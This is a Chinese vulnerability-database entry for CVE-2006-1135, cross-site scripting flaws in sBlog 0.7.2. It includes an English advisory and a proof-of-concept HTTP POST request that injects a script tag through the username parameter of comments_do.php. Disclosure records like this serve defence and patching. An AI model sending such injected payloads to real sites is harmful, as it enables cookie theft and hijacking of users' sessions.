sBlog 多个跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109891 漏洞类型 跨站脚本
发布时间 2006-03-09 更新时间 2006-03-13
CVE编号 CVE-2006-1135 CNNVD-ID CNNVD-200603-157
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/27375
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200603-157
|漏洞详情
sBlog0.7.2版本中存在多个跨站脚本攻击(XSS)漏洞,远程攻击者可以借助:(1)search.php中的keyword参数或(2)comments_do.php中的username参数执行任意Web脚本或HTML。
|漏洞EXP
source: http://www.securityfocus.com/bid/17044/info
 
sBlog is prone to HTML-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 
 
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

POST /comments_do.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/comments.php?id=news_id
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
blog_id=3&username=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&email=&homepage=&comment=test
[....]
|参考资料

来源:VUPEN
名称:ADV-2006-0883
链接:http://www.frsirt.com/english/advisories/2006/0883
来源:SECUNIA
名称:19151
链接:http://secunia.com/advisories/19151
来源:MISC
链接:http://kiki91.altervista.org/exploit/sBlog_0.72_xss.txt
来源:XF
名称:sblog-username-xss(25111)
链接:http://xforce.iss.net/xforce/xfdb/25111
来源:BID
名称:17044
链接:http://www.securityfocus.com/bid/17044
来源:OSVDB
名称:23760
链接:http://www.osvdb.org/23760
来源:OSVDB
名称:23759
链接:http://www.osvdb.org/23759